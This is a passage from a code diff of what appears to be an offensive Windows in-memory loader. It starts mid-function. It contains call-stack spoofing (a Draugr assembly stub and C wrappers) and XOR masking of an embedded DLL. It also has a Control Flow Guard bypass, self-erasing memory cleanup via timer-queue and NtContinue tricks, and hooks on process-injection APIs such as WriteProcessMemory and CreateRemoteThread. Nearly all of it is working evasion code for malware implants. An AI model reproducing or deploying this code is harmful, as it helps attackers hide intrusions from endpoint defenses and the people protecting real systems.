return ( ULONG_PTR ) ( NULL );
}
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.RtlUserThreadStartReturnAddress = return_address;
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
do
{
draugr_params.Trampoline = find_gadget ( frame.Gadget );
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
attempts++;
if ( attempts > 15 ) {
return ( ULONG_PTR ) ( NULL );
}
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
return ( ULONG_PTR ) ( NULL );
}
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
}
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
{
/* very inelegant */
if ( call->argc == 0 ) {
return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 1 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 2 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 3 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 4 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 5 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 6 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 7 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 8 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
} else if ( call->argc == 9 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
} else if ( call->argc == 10 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
} else if ( call->argc == 11 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
} else if ( call->argc == 12 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
} else {
return ( ULONG_PTR ) ( NULL );
}
}
+10
View File
@@ -0,0 +1,10 @@
#define spoof_arg(x) ( ULONG_PTR ) ( x )
typedef struct {
PVOID ptr;
DWORD ssn;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL;
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
+29 -14
View File
@@ -15,7 +15,7 @@
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS AND ANY EXPRESS
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
@@ -25,47 +25,62 @@
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
void dprintf(char * format, ...);
/*
* PICO running functions
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
void * findFunctionByHash(char * src, DWORD wantedFunction);
char * findModuleByHash(DWORD moduleHash);
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
*/
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
void LoadDLL(DLLDATA * dll, char * src, char * dst);
@@ -74,7 +89,7 @@ void ParseDLL(char * src, DLLDATA * data);
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
DWORD SizeOfDLL(DLLDATA * data);
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
@@ -84,4 +99,4 @@ DWORD SizeOfDLL(DLLDATA * data);
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
#endif
+22
View File
@@ -0,0 +1,22 @@
CC_64=x86_64-w64-mingw32-gcc
NASM=nasm
all: bin/loader.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
clean:
rm -f bin/*
Binary file not shown.
+46
View File
@@ -0,0 +1,46 @@
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize
# merge pic services
run "services.spec"
patch "get_module_handle" $GMH
patch "get_proc_address" $GPA
# merge hooks into the loader
load "bin/hooks.x64.o"
merge
# merge call stack spoofing into the loader
load "bin/spoof.x64.o"
merge
# load the stack spoofing assembly
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# hook functions that the loader uses
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
attach "KERNEL32$VirtualFree" "_VirtualFree"
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
# mask & link the dll
generate $MASK 128
push $DLL
xor $MASK
preplen
link "dll"
push $MASK
preplen
link "mask"
# now get the tradecraft as a PICO
run "pico.spec"
link "pico"
export
+69
View File
@@ -0,0 +1,69 @@
x64:
load "bin/pico.x64.o"
make object +disco
# merge the hook functions
load "bin/hooks.x64.o"
merge
# merge the call stack spoofing
load "bin/spoof.x64.o"
merge
# merge the asm stub
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# merge mask
load "bin/mask.x64.o"
merge
# generate and patch
# in a random key
generate $KEY 128
patch "xorkey" $KEY
# merge cfg code
load "bin/cfg.x64.o"
merge
# merge cleanup
load "bin/cleanup.x64.o"
merge
# export setup_hooks and setup_memory
exportfunc "setup_hooks" "__tag_setup_hooks"
exportfunc "setup_memory" "__tag_setup_memory"
# hook functions in the DLL
addhook "WININET$InternetOpenA" "_InternetOpenA"
addhook "WININET$InternetConnectA" "_InternetConnectA"
addhook "KERNEL32$CloseHandle" "_CloseHandle"
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread"
addhook "KERNEL32$CreateThread" "_CreateThread"
addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle"
addhook "KERNEL32$ExitThread" "_ExitThread"
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
addhook "KERNEL32$OpenProcess" "_OpenProcess"
addhook "KERNEL32$OpenThread" "_OpenThread"
addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory"
addhook "KERNEL32$ResumeThread" "_ResumeThread"
addhook "KERNEL32$SetThreadContext" "_SetThreadContext"
addhook "KERNEL32$Sleep" "_Sleep"
addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile"
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx"
addhook "KERNEL32$VirtualFree" "_VirtualFree"
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
mergelib "../libtcg.x64.zip"
export
+7
View File
@@ -0,0 +1,7 @@
x64:
load "bin/services.x64.o"
merge
mergelib "../libtcg.x64.zip"
dfr "resolve" "strings"
+78
View File
@@ -0,0 +1,78 @@
#include <windows.h>
#include "cfg.h"
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
BOOL cfg_enabled ( )
{
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
NTSTATUS status = 0;
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
proc_info.ExtendedProcessInfoBuffer = 0;
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
return proc_info.ExtendedProcessInfoBuffer;
}
BOOL bypass_cfg ( PVOID address )
{
MEMORY_BASIC_INFORMATION mbi = { 0 };
VM_INFORMATION vmi = { 0 };
MEMORY_RANGE_ENTRY mre = { 0 };
CFG_CALL_TARGET_INFO cti = { 0 };
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
return FALSE;
}
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
cti.Flags = CFG_CALL_TARGET_VALID;
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
ULONG output = 0;
vmi.dwNumberOfOffsets = 0x1;
vmi.plOutput = &output;
vmi.ptOffsets = &cti;
vmi.pMustBeZero = 0x0;
vmi.pMoarZero = 0x0;
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
if ( status == 0xC00000F4 )
{
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
}
if ( ! NT_SUCCESS ( status ) )
{
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
if ( status == 0xC0000045 )
{
/* pretend we bypassed it so timers can continue */
return TRUE;
}
return FALSE;
}
return TRUE;
}
+38
View File
@@ -0,0 +1,38 @@
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
BOOL cfg_enabled ( );
BOOL bypass_cfg ( PVOID address );
+92
View File
@@ -0,0 +1,92 @@
#include <windows.h>
#include "memory.h"
#include "cfg.h"
#include "spoof.h"
#include "tcg.h"
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
#define NTDLL_HASH 0x3CFA685D
#define VIRTUALFREE_HASH 0x30633AC
void cleanup_memory ( MEMORY_LAYOUT * memory )
{
/* is cfg enabled? */
BOOL enabled = cfg_enabled ( );
if ( enabled ) {
/* try to bypass it at NtContinue */
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
enabled = FALSE;
}
}
/*
* just return if we
* failed to bypass it
*/
if ( enabled ) {
return;
}
/*
* crack on and setup a timer
* to free the memory regions
*/
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
{
/* give RtlCaptureContext a chance to run */
KERNEL32$Sleep ( 100 );
if ( ctx.Rip != 0 )
{
HANDLE heap = KERNEL32$GetProcessHeap ( );
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 );
for ( int i = 0; i < 2; i++ ) {
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
}
/*
* we use VirtualFree here because
* the loader uses VirtualAlloc
*/
/* the dll */
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* this pico */
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress );
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* give a decent delay so ExitThread has time to be called */
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
}
}
}
+1
View File
@@ -0,0 +1 @@
void cleanup_memory ( MEMORY_LAYOUT * memory );
+147
View File
@@ -0,0 +1,147 @@
[BITS 64]
draugr_stub:
pop rax ; Real return address in rax
mov r10, rdi ; Store OG rdi in r10
mov r11, rsi ; Store OG rsi in r11
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
mov rsi, [ rsp + 40 ] ; Storing function to call
; ---------------------------------------------------------------------
; Storing our original registers
; ---------------------------------------------------------------------
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
mov r12, rax ; OG code used r12 for ret addr
; ---------------------------------------------------------------------
; Prepping to move stack args
; ---------------------------------------------------------------------
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
add r14, 8
add r14, [ rdi + 56 ] ; stack size of RUTS
add r14, [ rdi + 48 ] ; stack size of BTIT
add r14, [ rdi + 32 ] ; stack size of our gadget frame
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
mov r10, rsp
add r10, 0x30 ; offset of stack arg added to rsp
looping:
xor r15, r15 ; r15 will hold the offset + rsp base
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
je finish
; ---------------------------------------------------------------------
; Getting location to move the stack arg to
; ---------------------------------------------------------------------
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
mov r15, rsp ; get current stack base
sub r15, r14 ; subtract offset
; ---------------------------------------------------------------------
; Procuring the stack arg
; ---------------------------------------------------------------------
add r10, 8
push qword [ r10 ]
pop qword [ r15 ]
; ---------------------------------------------------------------------
; Increment the counter and loop back in case we need more args
; ---------------------------------------------------------------------
add r11, 1
jmp looping
finish:
; ----------------------------------------------------------------------
; Creating a big 320 byte working space
; ----------------------------------------------------------------------
sub rsp, 0x200
; ----------------------------------------------------------------------
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
; Need to figure out why this cuts off the call stack
; ----------------------------------------------------------------------
push 0
; ----------------------------------------------------------------------
; RtlUserThreadStart + 0x14 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 56 ]
mov r11, [ rdi + 64 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; BaseThreadInitThunk + 0x21 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 32 ]
mov r11, [ rdi + 40 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Gadget frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 48 ]
mov r11, [ rdi + 80 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Adjusting the param struct for the fixup
; ----------------------------------------------------------------------
mov r11, rsi ; Copying function to call into r11
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
; ----------------------------------------------------------------------
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
; ----------------------------------------------------------------------
mov r10, rcx
mov rax, [ rdi + 72 ]
jmp r11
fixup:
mov rcx, rbx
add rsp, 0x200 ; Big frame thing
add rsp, [ rbx + 48 ] ; Stack size
add rsp, [ rbx + 32 ] ; Stack size
add rsp, [ rbx + 56 ] ; Stack size
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
mov r12, [ rcx + 96 ] ; ReStoring OG r12
mov r13, [ rcx + 104 ] ; ReStoring OG r13
mov r14, [ rcx + 112 ] ; ReStoring OG r14
mov r15, [ rcx + 120 ] ; ReStoring OG r15
push rax
xor rax, rax
pop rax
jmp QWORD [ rcx + 8 ]
+420
View File
@@ -0,0 +1,420 @@
#include <windows.h>
#include <wininet.h>
#include <combaseapi.h>
#include "tcg.h"
#include "memory.h"
#include "spoof.h"
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
